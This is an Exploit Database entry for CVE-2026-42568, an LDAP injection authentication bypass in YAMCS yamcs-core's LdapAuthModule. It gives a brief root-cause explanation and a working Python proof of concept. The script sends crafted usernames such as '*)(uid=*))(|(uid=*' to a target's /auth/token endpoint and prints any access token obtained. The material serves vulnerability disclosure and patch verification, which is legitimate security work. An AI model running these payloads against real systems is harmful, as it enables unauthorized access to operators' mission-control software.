This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING YAMCS yamcs-core 5.12.7 - LDAP Injection EDB-ID: 52603 CVE: 2026-42568 EDB Verified: Author: DANIEL MIRANDA Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-30 Vulnerable App: # Exploit Title: YAMCS yamcs-core 5.12.7 - LDAP Injection # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-42568 # Category: Remote / Auth Bypass # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j #!/usr/bin/env python3 """ CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule ========================================================= The username parameter in LdapAuthModule is inserted directly into LDAP search filters without RFC 4515 escaping. Root cause (LdapAuthModule.java): var filter = userFilter.replace("{0}", username); With userFilter=(uid={0}) and username=*)(uid=*))(|(uid=* Result: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass. Only affects instances with LdapAuthModule configured. ========================================================= """ import requests import sys import json def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" base = target.rstrip("/") print("=" * 65) print(" CVE-2026-42568 — YAMCS LDAP Injection PoC") print(f" Target: {target}") print(" Requires: LdapAuthModule configured in yamcs.yaml") print("=" * 65) payloads = [ { "name": "Universal bypass", "username": "*)(uid=*))(|(uid=*", "password": "anything", }, { "name": "Targeted bypass (admin)", "username": "admin)(|(objectClass=*", "password": "wrongpassword", }, { "name": "Wildcard match", "username": "op*", "password": "anything", } ] for i, p in enumerate(payloads, 1): print(f"\n[{i}] {p['name']}") print(f" username: {p['username']}") print(f" password: {p['password']}") try: resp = requests.post(f"{base}/auth/token", data={ "grant_type": "password", "username": p["username"], "password": p["password"] }, timeout=5) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: token = resp.json().get("access_token", "") print(f" [!!!] AUTH BYPASSED") if token: print(f" [!!!] Token: {token[:50]}...") elif resp.status_code == 401: print(f" [-] 401 — LDAP may not be configured") elif resp.status_code == 403: print(f" [+] 403 — Patched or LDAP disabled") except requests.exceptions.ConnectionError: print(f" [-] Connection refused — is YAMCS running?") except Exception as e: print(f" [-] Error: {e}") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.